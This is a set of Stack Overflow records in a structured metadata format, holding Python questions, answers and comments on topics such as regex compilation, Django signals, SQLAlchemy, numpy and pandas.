cv2.findContours(opened,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE) error: /home/vagrant/opencv/modules/imgproc/src/contours.cpp:199: error: (-210) [Start]FindContours supports only CV_8UC1 images when mode != CV_RETR_FLOODFILL otherwise supports CV_32SC1 images only in function cvStartFindContours_Impl
tagged with: opencv

http://stackoverflow.com/comment/103761328
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47380580
has text: @variable Because they might run forever if you don't. The main thread can't force other threads to stop. If you have more questions on this topic, please ask a proper question. The comments are not designed for conversations like this.
score: 0

http://stackoverflow.com/comment/81407738
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47228529
type: Comment
has text: show some code brother

http://stackoverflow.com/comment/82073823
score: 0
comment on: http://stackoverflow.com/q/47259099
has text: Where is `test.py` located in the filesystem of your instance?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47269110
has body: This is a tricky subject: many answers, even some legitimate sources such as David Beazley's Python Cookbook, will tell you something like: [Use compile()] when you’re going to perform a lot of matches using the same pattern. This lets you compile the regex only once versus at each match. [see p. 45 of that book] However, that really hasn't been true since sometime around Python 2.5. Here's a note straight out of the re docs: Note The compiled versions of the most recent patterns passed to re.compile() and the module-level matching functions are cached, so programs that use only a few regular expressions at a time needn’t worry about compiling regular expressions. There are two small arguments against this, but (anecdotally speaking) these won't result in noticeable timing differences the majority of the time: The size of the cache is limited. Using compiled expressions directly avoids the cache lookup overhead. Here's a rudimentary test of the above using the 20 newsgroups text dataset. On a relative basis, the improvement in speed is about 1.6% with compiling, presumably due mostly to cache lookup. import re from sklearn.datasets import fetch_20newsgroups # A list of length ~20,000, paragraphs of text news = fetch_20newsgroups(subset='all', random_state=444).data # The tokenizer used by most text-processing vectorizers such as TF-IDF regex = r'(?u)\b\w\w+\b' regex_comp = re.compile(regex) def no_compile(): for text in news: re.findall(regex, text) def with_compile(): for text in news: regex_comp.findall(text) %timeit -r 3 -n 5 no_compile() 1.78 s ± 16.2 ms per loop (mean ± std. dev. of 3 runs, 5 loops each) %timeit -r 3 -n 5 with_compile() 1.75 s ± 12.2 ms per loop (mean ± std. dev. of 3 runs, 5 loops each) That really only leaves one very defensible reason to use re.compile(): By precompiling all expressions when the module is loaded, the compilation work is shifted to application start time, instead of to a point when the program may be responding to a user acti…
type: Answer
upvote count: 19
downvote count: 0
answers question: http://stackoverflow.com/q/47268595
has comment: http://stackoverflow.com/comment/140205250
score: 19

http://stackoverflow.com/a/47292249
type: Answer
score: 0
has body: First, off you need to use hight = raw_input("What is your hight") to get your height. You can then use int(height) to use it as an integer. Secondly, you need to have it be top-down processing.
answers question: http://stackoverflow.com/q/47292020

http://stackoverflow.com/comment/81559893
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47290286
score: 0
has text: It would be fair yes, but I have enough points, and I don't need to earn reputation by converting a ratio to dB.

http://stackoverflow.com/a/47334304
downvote count: 0
has comment: http://stackoverflow.com/comment/81620935
has comment: http://stackoverflow.com/comment/81623052
has body: To determine the overlap of two strings a and b, you can check if any prefix of b is a suffix of a. You can then use that check in a simple loop, aggregating the result and slicing the next string in the list according to the overlap. lst = ['SGALWDV', 'GALWDVP', 'ALWDVPS', 'LWDVPSP', 'WDVPSPV'] def overlap(a, b): return max(i for i in range(len(b)+1) if a.endswith(b[:i])) res = lst[0] for s in lst[1:]: o = overlap(res, s) res += s[o:] print(res) # SGALWDVPSPV Or using reduce: from functools import reduce # Python 3 print(reduce(lambda a, b: a + b[overlap(a,b):], lst)) This is probably not super-efficient, with complexity of about O(n k), with n being the number of strings in the list and k the average length per string. You can make it a bit more efficient by only testing whether the last char of the presumed overlap of b is the last character of a, thus reducing the amount of string slicing and function calls in the generator expression: def overlap(a, b): return max(i for i in range(len(b)) if b[i-1] == a[-1] and a.endswith(b[:i]))
has comment: http://stackoverflow.com/comment/81622869
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/81620262
upvote count: 2
has comment: http://stackoverflow.com/comment/81622806
answers question: http://stackoverflow.com/q/47333771

http://stackoverflow.com/comment/81589372
score: 0
comment on: http://stackoverflow.com/q/47319066
type: Comment
type: QuestionComment
has text: @COLDSPEED why did it not throw an error?

http://stackoverflow.com/comment/81690531
type: QuestionComment
comment on: http://stackoverflow.com/q/47368953
score: 0
type: Comment
has text: What type of filter did you speak? That question is broad

http://stackoverflow.com/comment/95825215
type: Comment
comment on: http://stackoverflow.com/a/47328983
has text: @harry04 - You can add value to `dict` like `d = {'gm':1,'gr':1,'grams':1,'kg':1000,'%':.01}` to `d = {'gm':1,'gr':1,'grams':1,'kg':1000,'%':.01,'g':1}`
type: AnswerComment
score: 0

http://stackoverflow.com/comment/81491693
comment on: http://stackoverflow.com/a/47269468
score: 0
type: Comment
has text: For anyone wondering, please see discussion in chat. Full path to Django installation was required in order to run.
type: AnswerComment

http://stackoverflow.com/comment/81519220
comment on: http://stackoverflow.com/a/47249867
score: 0
type: AnswerComment
type: Comment
has text: Hello, I should have put it back but I already tried that, and it did not change anything unfortunately.

http://stackoverflow.com/a/70111478
type: Answer
answers question: http://stackoverflow.com/q/47289909
score: 0
has body: Solved! In my case it was python version I was using python 3.10.1 version Uninstall python 3.10.1 and python Launcher from add or remove programs Download python 3.7.0 for x64 bit using this link or download from here Link Now you can: pip install confluent-kafka[avro]

http://stackoverflow.com/comment/81678444
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47356684
has text: I just give a choice, and think it is more `simple or so` than your code. I'm not `Google`,I do not know everything, while learn by `trial and error`.
score: 1

http://stackoverflow.com/a/47370612
answers question: http://stackoverflow.com/q/47370442
score: -1
downvote count: 1
has body: df[id_col].map(lambda x: int(str(x)[:5])) # as an integer df[id_col].map(lambda x: str(x)[:5]) # as a string
type: Answer
upvote count: 0

http://stackoverflow.com/a/47385665
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/47380486
has body: I'll offer a few points on your question because I strongly disagree with the close recommendations. There's much in your question that's not opinion. In general, your choice of dictionary wasn't appropriate. For a toy program like this it doesn't make much difference, but I assume you're interested in best practice for serious programs. In production software, you wouldn't make this choice. Why? Error prone-ness. A typo in future code, e.g. origin["t"] = 3 when you meant origin["y"] = 3 is a nasty bug, maybe difficult to find. t = 3 is more likely to cause a "fast failure." (In a statically typed language like C++ or Java, it's a sure compile-time error.) Space overhead. A simple scalar variable requires essentially no space beyond the value itself. An array has a fixed overhead for the "dope vector" that tracks its location, current, and maximum size. A dictionary requires yet more extra space for open addressing, unused hash buckets, and fill tracking. Speed. Accessing a scalar variable is very fast: just a few processor instructions. Accessing a tuple or array element when you know its index is also very fast, though not as fast as variable access. Extra instructions are needed to check array bounds. Adding one element to an array may take O(current array size) to copy current contents into a larger block of memory. The advantage of tuples and arrays is that you can access elements quickly based on a computed integer index. Scalar variables don't do this. Choose an array/tuple when you need integer index access. Favor tuples when you know the exact size and it's unlikely to change. Their immutability tends to make code more understandable (and thread safe). Accessing a dictionary element is still more expensive because a hash value must be computed and buckets traversed with possible collision resolution. Adding a single element can also trigger a table reorganization, which is O(table size) with constant factor much bigger than list reorganization because all t…
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47380486
score: 2

http://stackoverflow.com/comment/81650824
type: Comment
type: QuestionComment
has text: How you run tests? Can you show `tests.py`?
score: 0
comment on: http://stackoverflow.com/q/47296999

http://stackoverflow.com/comment/129497342
comment on: http://stackoverflow.com/a/71555973
type: AnswerComment
has text: Thank you--this solution worked for me (AWS Linux 2 on Docker). The Elastic Beanstalk health check is no longer showing 400 errors.
score: 0
type: Comment

http://stackoverflow.com/comment/81493358
score: 1
comment on: http://stackoverflow.com/a/47271210
type: Comment
has text: You should provide some explanation instead of only throwing the answer at OP
type: AnswerComment

http://stackoverflow.com/q/47375719
answer count: 1
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/47493210
accepted answer: http://stackoverflow.com/a/47493210
type: AnsweredQuestion
downvote count: 0
upvote count: 1
score: 1
has body: I'm using Django (1.11.7) and Signals for some actions on the newly saved model (sending a message to the mail with the info from the model, basically). But only I add to this model one more, connected (ForeignKey) with the main (as inlines=[...] in admin.py) — it does not participate in saving the instance of the main model. My model is: # /tours/models.py class Tours(models.Model): country = models.CharField(...) ... class ToursHotels(models.Model): tour = models.ForeignKey(Tours, ...) cost = models.IntegerField(...) ... @receiver(post_save, sender=Tours) def do_something(sender, **kwargs): tour = Tours.objects.get(id=kwargs.get('instance').id) hotels = ToursHotels.objects.filter(tour_id=tour.id).order_by('cost') ... So, hotels will be empty until I edit this record again. How to do it better? Help me please.
favorite count: 0
type: Question
tagged with: python-3.x
has title: How to get inline model in post_save instance (Django Signals)?

http://stackoverflow.com/a/47298105
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47297209
has body: Just set the alpha values of the two objects and your code should work. object1.set_alpha(120) object2.set_alpha(200) # Then blit them onto `transparent_display`. Note that set_alpha doesn't work with per-pixel alpha surfaces (images loaded with .convert_alpha() or surfaces to which you passed pygame.SRCALPHA), but you can still blit transparent surfaces onto these per-pixel alpha surfaces.
score: 2
type: Answer
upvote count: 2
accepted answer of: http://stackoverflow.com/q/47297209

http://stackoverflow.com/a/47407354
answers question: http://stackoverflow.com/q/47326201
has body: As suggested by Graham: pip install --upgrade --no-cache-dir mod_wsgi Upgrade to mod_wsgi 4.5.22 did the trick.
type: Answer
has comment: http://stackoverflow.com/comment/81768016
has comment: http://stackoverflow.com/comment/81768201
score: 0

http://stackoverflow.com/comment/134418449
type: Comment
score: 0
type: QuestionComment
has text: `str.format` is literally a better approach than f strings. f strings should be depreciated and removed in future versions.
comment on: http://stackoverflow.com/q/47339121

http://stackoverflow.com/q/47361991
score: 2
has comment: http://stackoverflow.com/comment/81697473
has comment: http://stackoverflow.com/comment/81680622
has body: Please if anyone can tell me what's wrong I would great appreciate it. I'm doing multiprocessing with python and using sqlalchemy for the model. This is the error: Error in worker: (pymysql.err.OperationalError) (2006, "MySQL server has gone away (BrokenPipeError(32, 'Broken pipe'))") [SQL: "SELECT websites.id AS websites_id, websites.websiteurl AS websites_websiteurl, websites.blogurl AS websites_blogurl, websites.fbid AS websites_fbid, websites.keywordusedtofind AS websites_keywordusedtofind, websites.scrapedon AS websites_scrapedon \nFROM websites \nWHERE (websites.websiteurl LIKE concat(concat('%%', %(websiteurl_1)s), '%%'))"] [parameters: {'websiteurl_1': 'designerblogs.com'}] Traceback (most recent call last): File "/usr/local/lib/python3.5/site-packages/pymysql/connections.py", line 1039, in _write_bytes self._sock.sendall(data) BrokenPipeError: [Errno 32] Broken pipe Here is my script: engine = create_engine('mysql+pymysql://{0}:{1}@{2}/{3}'.format(dbUser,dbPass,hostName,db),echo=False,pool_recycle=3600) Base.metadata.create_all(bind=engine) Session = scoped_session(sessionmaker(autocommit=True, autoflush=False, bind=engine)) def worker(i, keywordArray): for idx,keyword in enumerate(keywordArray): try: session = Session() print("Working on {0} out of {1}".format(idx + 1, len(keywordArray))) keyword = keyword.keyword print('Worker ', i, ' working on getting google results') searchLinks = [] for i in range(0,1000,100): print('Worker ', i, ' working range: ', i) soup = getSoup(url) if 'did not match any documents.' in soup.get_text(): break else: x = getArray(soup,keyword) if x: searchLinks += x print('Worker ', i, ' working on searchlinks adding to db') for result in searchLinks: url = result[0] blogUrl = result[1] plainUrl = url.replace('https://','').replace('http://','').replace('www.','').replace('/','') id = '' id = session.query(Website).filter(Website.websiteurl.contains(plainUrl)).all() if not id: print('adding url: ', url, ' blog: ', blogUrl) session …
answer count: 1
tagged with: orm
tagged with: mysql
has comment: http://stackoverflow.com/comment/81680751
has answer: http://stackoverflow.com/a/65374337
tagged with: sqlalchemy
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/84106813
has comment: http://stackoverflow.com/comment/81676993
has title: SQLalchemy multiprocessing - mysql server gone away
upvote count: 2
type: UnansweredQuestion
downvote count: 0
tagged with: python
linked to: http://stackoverflow.com/q/7942154

http://stackoverflow.com/q/47243021
answer count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81436857
tagged with: numpy
has answer: http://stackoverflow.com/a/47243071
has body: I have two matrices X,Y of size (m x d) and (n x d) respectively. Now i want to subtract the whole matrix Y from each element of the matrix X to get a third matrix Z of size (m x n x d). Using loops it would look this: Z = [(Y-x) for x in X] but i want to avoid loops and use numpy only.
accepted answer: http://stackoverflow.com/a/47243071
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81436750
downvote count: 0
has title: Numpy: subtract matrix from all elements of another matrix without loop
tagged with: matrix
score: 1
upvote count: 1

http://stackoverflow.com/comment/81455487
comment on: http://stackoverflow.com/a/47244196
type: Comment
type: AnswerComment
score: 0
has text: Yes, I sent a pull request to fix it.

http://stackoverflow.com/a/47229135
accepted answer of: http://stackoverflow.com/q/47229086
upvote count: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47229086
has body: If you want to store all these combinations of keyboards, you have to iterate over the values of the dictionary. You write however: a.append(each_key[i:i+3]) # ^ key of the dictionary So you have to rewrite it to: def consequ(key): a = [] for line in key.values(): for i in range(len(line)-2): a.append(line[i:i+3]) return a Or more elegant: def consequ(key): a = [] for line in key.values(): a += [line[i:i+3] for i in range(len(line)-2)] return a These generate: &gt;&gt;&gt; consequ(keyboard) ['zxc', 'xcv', 'cvb', 'vbn', 'bnm', 'asd', 'sdf', 'dfg', 'fgh', 'ghj', 'hjk', 'jkl', 'qwe', 'wer', 'ert', 'rty', 'tyu', 'yui', 'uio', 'iop'] Note that most Python interpreters have unordered dictionaries, so the order of the lines can be different.
has comment: http://stackoverflow.com/comment/81408844
type: Answer
score: 2

http://stackoverflow.com/a/47270235
has comment: http://stackoverflow.com/comment/81492093
score: 0
has comment: http://stackoverflow.com/comment/81492784
has comment: http://stackoverflow.com/comment/81492006
has comment: http://stackoverflow.com/comment/81492746
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/81491989
has comment: http://stackoverflow.com/comment/81492599
has comment: http://stackoverflow.com/comment/81492373
has body: I would suspect this has to do with block sizing & empty blocks. If you have say a 2,324,020 byte file there will be two values, size on disk (how much room is being used to store it because of the file system's minimum allowed space usage) and actual file size OR Logical File Size (2,324,020 byte). for instance on Windows 7, I have a 2,324,020 byte file; it's size on disk is 2,326,528 bytes. Python's OS commands os.path.getsize #Returns real size of file in bytes and os.stat #Returns real size of file in bytes Will return the exact size of the file in bytes. Something like this: lSize=os.stat(filename).st_size bSize=os.statvfs(filename).f_bsize sizeOnDisk=(lSize/bSize+1)*bSize will return the size on disk but is not supported on Windows at this time. EDIT This post says LS does NOT show disk usage size, rather logical size, however notes that "empty blocks" may alter the file size. The output of the ls command displays only the size of a file and does not include indirect blocks used by the file. Any empty blocks of the file also get included in the output of the command. It is worth noting if you are looking for Logical File Size, Python stat would be ideal.
type: Answer
answers question: http://stackoverflow.com/q/47270066
has comment: http://stackoverflow.com/comment/81491902
has comment: http://stackoverflow.com/comment/81492512
has comment: http://stackoverflow.com/comment/81491869

http://stackoverflow.com/a/47353761
score: 1
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47353363
type: Answer
has body: You could just use list comprehensions, e.g. (a,b)=([i[0] for i in mylist],[i[1] for i in mylist]) To generalise you could use a comprehension within a comprehension: (a,b,c,d,e)=([row[i] for row in mylist] for i in range(5))

http://stackoverflow.com/a/47366893
type: Answer
has body: Below code has two classes, MainApp to structure outermost frame of our app, and then SearchFrame class that uses a method from MainApp to create a label in its parent widget. In this case SearchFrame's parent widget is MainApp. You can comment out geometry manager to self.frame2 if you want to see that the label is in fact created inside the parent widget subclass MainApp. Again, I doubt that this is good practice: import tkinter as tk root = tk.Tk() class MainApp(tk.Frame): def __init__(self, master): super().__init__(master) #a child frame of MainApp object self.frame1 = tk.Frame(self) tk.Label(self.frame1, text="This is MainApp frame1").pack() self.frame1.grid(row=0, column=0, sticky="nsew") #another child frame of MainApp object self.frame2 = SearchFrame(self) self.frame2.grid(row=0, column=1, sticky="nsew") def create_labels(self, master): return tk.Label(master, text="asd") class SearchFrame(tk.Frame): def __init__(self, master): super().__init__(master) self.label = tk.Label(self, text="this is SearchFrame") self.label.pack() master.label1 = MainApp.create_labels(self, master) master.label1.grid() mainAppObject = MainApp(root) mainAppObject.pack() root.mainloop()
answers question: http://stackoverflow.com/q/47360640
score: 0

http://stackoverflow.com/q/47264754
has title: Django: Filtering the Distinct Data
downvote count: 0
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/81951028
answer count: 2
has answer: http://stackoverflow.com/a/47265774
score: 1
has body: I'm trying to build a messaging app. Here's my model, class Message(models.Model): sender = models.ForeignKey(User, related_name="sender") receiver = models.ForeignKey(User, related_name="receiver") msg_content = models.TextField() created_at = models.DateTimeField(auto_now_add=True) This is what I tried in view, data = Message.objects.filter(Q(sender=request.user) | Q(receiver=request.user)) In the template, {% for abc in data %} {{ abc.receiver }} &lt;br/&gt; {% endfor %} How to get distinct users and re-order them based upon new messages as we see on social media platforms?
upvote count: 1
has comment: http://stackoverflow.com/comment/81480411
has comment: http://stackoverflow.com/comment/81480654
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81480375
has answer: http://stackoverflow.com/a/47265059
has comment: http://stackoverflow.com/comment/81480650
has comment: http://stackoverflow.com/comment/81480836
linked to: http://stackoverflow.com/q/47258858
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81480606

http://stackoverflow.com/comment/86275631
score: 9
type: AnswerComment
has text: `iterparse` is not unique to ElementTree; it exists in lxml too: http://lxml.de/parsing.html#iterparse-and-iterwalk. And lxml fully supports XPath 1.0, while ElementTree only supports a subset of XPath features.
type: Comment
comment on: http://stackoverflow.com/a/49614554

http://stackoverflow.com/q/47241623
tagged with: dictionary
accepted answer: http://stackoverflow.com/a/47241902
score: 2
type: AnsweredQuestion
upvote count: 3
possible better answer: http://stackoverflow.com/a/47241977
tagged with: list
has comment: http://stackoverflow.com/comment/81434246
answer count: 3
has body: I have a big list containing multiple dictionaries, which I can access for example with: &gt;&gt;&gt; papers[0]['TI'] "Presence of tau pathology within fetal neural allografts in patients with Huntington's and Parkinson's disease." I need to access 3 different keys of all the dictionaries in the list (['TI'], ['AB'] and ['MH']), and print them to a .txt file, but at the moment my code only prints out one of the keys (['TI']) of all of the dictionaries. This is what I have: papers = [] # the list of dictionaries for each in range(0, len(papers)): out = [] try: out.append(str(papers[each]['TI']) + "\n" + str(papers[each]['AB']) + "\n" + str(papers[each]['MH']) + "\n") except KeyError: out.append("MISSING INFORMATION \n") for index, line in enumerate(out): with open(filename+'_{}.txt'.format(index), 'w') as output: output.write(line) Note: I added the str() to each papers key because I kept getting this error: TypeError: cannot concatenate 'str' and 'list' objects What may be wrong, since I am not able to print the 3 different keys but only one? Any help would be appreciated.
downvote count: 1
has answer: http://stackoverflow.com/a/47241902
has comment: http://stackoverflow.com/comment/81433894
has comment: http://stackoverflow.com/comment/81433890
favorite count: 0
type: Question
has title: Append multiple dictionary elements to list
has answer: http://stackoverflow.com/a/47241786
has comment: http://stackoverflow.com/comment/81433902
has answer: http://stackoverflow.com/a/47241977
tagged with: python

http://stackoverflow.com/comment/81439718
has text: thrown together really quickly, so don`t judge the convention.
comment on: http://stackoverflow.com/q/47244474
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81511344
score: 0
has text: If the answer helped you solve your problem, kindly mark it as the right answer, or if any other clarifications are needed, you can comment on the existing answer.
type: QuestionComment
comment on: http://stackoverflow.com/q/47250707
type: Comment

http://stackoverflow.com/comment/81512063
type: Comment
has text: Thanks.. I've also tried this.. but can you please suggest how to achieve the same through a function.. i had trouble writing function for the same
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47280825

http://stackoverflow.com/comment/81698527
comment on: http://stackoverflow.com/a/47372975
has text: @KennyChau, (in addition to the reasons Hai adds below): `[, errors]` doesn't tell you that passing `errors=None` will have the same effect as leaving `errors` out entirely, whereas documenting `errors=None` makes such a guarantee. Consider if an implementation reads `*args`, or has a constant sigil other than `None` as default.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81646573
type: QuestionComment
has text: Are you using Python2 or Pyhon3?
score: 0
comment on: http://stackoverflow.com/q/47347162
type: Comment

http://stackoverflow.com/comment/81512463
comment on: http://stackoverflow.com/q/47280207
has text: You may find this article helpful to understand the differences between Java's and Python's data model: [Facts and myths about Python names and values](http://nedbatchelder.com/text/names.html), which was written by SO veteran Ned Batchelder.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47367195
has answer: http://stackoverflow.com/a/47367219
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81698222
tagged with: function
answer count: 1
tagged with: file
downvote count: 0
has title: Import functions from one python file to another
upvote count: 7
linked to: http://stackoverflow.com/q/2360724
tagged with: import
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81686882
score: 7
accepted answer: http://stackoverflow.com/a/47367219
tagged with: python
has body: Say i have a python file called a.py with the functions x,y,z. I want to import them to a new file called b.py I tried: from a import * AND from a import all with no luck. I can just do it separately: from a import x , from a import y .... How can i import them ALL at once?

http://stackoverflow.com/comment/81466744
has text: Thanks a lot it working now..Thanks one again
comment on: http://stackoverflow.com/q/47228972
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/47289706
tagged with: python-3.x
has title: Constructing PeriodIndex from two int64 columns
upvote count: 3
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/47290105
favorite count: 0
type: AnsweredQuestion
score: 3
tagged with: pandas
has body: The docs on pandas.PeriodIndex give the following example for construction: &gt;&gt;&gt; idx = PeriodIndex(year=year_arr, quarter=q_arr) And specify the types for those two parameters: year : int, array, or Series, default None month : int, array, or Series, default None But I'm running into a TypeError trying to use this type of construction. import numpy as np import pandas as pd # (Year, Month) MultiIndex'd DataFrame idx = pd.MultiIndex.from_product(([2017, 2016], range(1, 13))) df = pd.DataFrame(np.random.randn(24, 2), index=idx, columns=['a', 'b']) print(df.head()) a b 2017 1 0.406534 -0.516329 2 -0.687286 -0.066606 3 1.493217 0.539294 4 2.069313 0.415216 5 -0.212414 -1.375707 # Seems to mimic the construction example from the docs above: pd.PeriodIndex(year=df.index.get_level_values(0), month=df.index.get_level_values(1)) # TypeError: expected string or bytes-like object # Same issue even if I specify inputs as NumPy arrays or lists pd.PeriodIndex(year=df.index.get_level_values(0).values, month=df.index.get_level_values(1).values) pd.PeriodIndex(year=df.index.get_level_values(0).tolist(), month=df.index.get_level_values(1).tolist()) Bonus question: can I unpack the levels of a MultiIndex? Presently I have year, month = list(zip(*df.index.get_values())) Is there a prescribed method to get an iterable from the index's levels? Working in: pandas 0.20.3.
tagged with: python
has answer: http://stackoverflow.com/a/47290105
type: Question

http://stackoverflow.com/comment/81605739
type: AnswerComment
score: 0
has text: Give it the whole path to the file
comment on: http://stackoverflow.com/a/47298059
type: Comment

http://stackoverflow.com/a/47378847
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/81710345
downvote count: 0
answers question: http://stackoverflow.com/q/47378790
has comment: http://stackoverflow.com/comment/81709970
has comment: http://stackoverflow.com/comment/81709945
has body: Well, string.ascii_lowercase is equal to 'abcdefghijklmnopqrstuvwxyz'. That doesn't look like it's contained in hello, right? What you should do instead is to go over the letters in ascii_lowercase and check if any of them are in your string s. import string s = ('hello') if any([letter in s for letter in string.ascii_lowercase]): print('yes') else: print('no') Wonderfully smart people in the comments have pointed out that you can drop the [ ] brackets that would usually create a list, turning our list comprehension into something called a generator. This would prevent the need to check every single letter in ascii_lowercase and make our code a little bit faster - as it stands, the whole list is generated and then checked. With the generator, the letters are checked only up to e, as that's in 'hello'. I was able to shave off a whole nanosecond this way! Still, straight up going through the whole list should be fine as well for most cases and is certainly simpler.
type: Answer

http://stackoverflow.com/q/47382048
tagged with: python
tagged with: excel
has title: Copy excel file with macro and data connections
answer count: 0
score: 0
has comment: http://stackoverflow.com/comment/81762858
tagged with: vba
has comment: http://stackoverflow.com/comment/81731202
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: openpyxl
has body: I need copy an excel .xlsm file to different path. I know the shutil.copy_file() will not work because it cannot preserve VBA macro. I use openpyxl like following: import openpyxl wb = openpyxl.load_workbook(templateNm, read_only = False, keep_vba = True) The problem is my workbook has some Data Connections (connected to OLAP server), after the file copied, all data connections are lost. Does openpyxl have other options to keep the data connections? Or I need to use other package to copy the excel file?(I need to preserve both VBA macro and data connections inside .xlsm file).

http://stackoverflow.com/q/47297135
upvote count: 0
has title: Returning a list of filenames with keywords associated with it
answer count: 1
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81545627
type: Question
has answer: http://stackoverflow.com/a/47297614
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81545645
type: UnansweredQuestion
tagged with: python
score: -1
has body: I'm not sure why I get an empty list I test this function. Can anyone please help me fix this? def find_images_with_keyword(key_dict, keywords_list): '''(dict of {str: list of str}, list of str) -&gt; list Given a keyword_dictionary and a list of keywords, return the list of filenames associated with the given keywords. The list of filenames should include all filenames having one or more of the specified keywords(ie, a filename may be associated with only one, not all of the keywords in the list). &gt;&gt;&gt; find_images_with_keyword({'dog': ['1.png', '2.png'], 'animal': ['1.png', '3.png']}, ['dog', 'animal']) ['1.png', '2.png', '3.png'] ''' new_list = [] for keyword in key_dict.items(): for filename in keywords_list: if keyword == filename: new_list.append(filename) return new_list
has comment: http://stackoverflow.com/comment/81545625
has comment: http://stackoverflow.com/comment/81545628
has comment: http://stackoverflow.com/comment/81546339
has comment: http://stackoverflow.com/comment/81546153
has comment: http://stackoverflow.com/comment/81546024
linked to: http://stackoverflow.com/q/3294889
has comment: http://stackoverflow.com/comment/81546348

http://stackoverflow.com/comment/81501706
type: Comment
comment on: http://stackoverflow.com/q/47275135
type: QuestionComment
has text: @eyllanesc don't worry about the csv file... it is not relevant. Imagine you just have a list of 50 strings assigned to self.list.
score: 0

http://stackoverflow.com/a/47319636
has comment: http://stackoverflow.com/comment/81590569
answers question: http://stackoverflow.com/q/47319608
has comment: http://stackoverflow.com/comment/81590448
has comment: http://stackoverflow.com/comment/81593459
downvote count: 0
has comment: http://stackoverflow.com/comment/81590712
type: Answer
has comment: http://stackoverflow.com/comment/81590503
has comment: http://stackoverflow.com/comment/81590475
has body: Give this a shot WHERE program_id&lt;&gt;'' What database engine are you using? #get the programs list cur.execute('SELECT title, start_date, stop_date, program_id FROM programs WHERE program_id&lt;&gt;'' LIMIT 10')
has comment: http://stackoverflow.com/comment/81590415
has comment: http://stackoverflow.com/comment/81590452
upvote count: 1
score: 1

http://stackoverflow.com/a/47320955
type: AcceptedAnswer
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47320722
accepted answer of: http://stackoverflow.com/q/47320722
has body: Turn down your learning rate normalize your train data like (x-mean)/std. I recommend second.You can have a try.
type: Answer
score: 1

http://stackoverflow.com/q/47381718
type: UnansweredQuestion
answer count: 1
downvote count: 0
tagged with: django
has comment: http://stackoverflow.com/comment/82421097
tagged with: unit-testing
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47997287
has title: Django Unit Tests doesn't run in Visual Studio Test Explorer
has body: I'm trying to implement my Django (1.11.7, Python 3.6) unit testing in Visual Studio. When I run them in my terminal (python manage.py test) they run fine, while when executing from the VS Test Explorer it fails with an error saying: django.core.exceptions.AppRegistryNotReady: Apps aren't loaded yet. I've read that newer Django versions require an explicit django.setup() to be called, so I've tried to add it both to setUpClass(cls) and to setUpTestData(cls). import django from datamodel.models import Engagement, BusinessUnit from django.contrib.auth.models import User from django.test import TestCase, Client class TestViewRPA(TestCase): @classmethod def setUpClass(cls): super(TestViewRPA, cls).setUpClass() django.setup() @classmethod def setUpTestData(cls): super(TestViewRPA, cls).setUpTestData() django.setup() User.objects.create_user('dummyuser') eng = Engagement.objects.create(name = 'Test Client', owner=User.objects.get(username='dummyuser')) businessunit = BusinessUnit.objects.create(name = 'Business Unit', engagement=eng) def test_get_industry_segment1(self): businessunit = BusinessUnit.objects.get(name = 'Business Unit') c = Client() response = c.get('/rpa/%d' % businessunit.id) self.assertContains(response, 'id":1,"businessunit_set":[{"id":1,', status_code=200) Result from executing from CLI ...&gt;env\Scripts\python.exe manage.py test app Creating test database for alias 'default'... System check identified no issues (0 silenced). ---------------------------------------------------------------------- Ran 3 tests in 0.028s OK Destroying test database for alias 'default'... Any ideas? Thanks in advance
tagged with: python
score: 2
tagged with: visual-studio-2017
upvote count: 2

http://stackoverflow.com/comment/81512708
has text: Thanks, you're right, and that makes some sense too. Will edit.
comment on: http://stackoverflow.com/a/47279834
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81547019
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47297741
has text: Use `split` on the `\n`s first and then on the whitespaces
score: 0

http://stackoverflow.com/q/47245529
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47267090
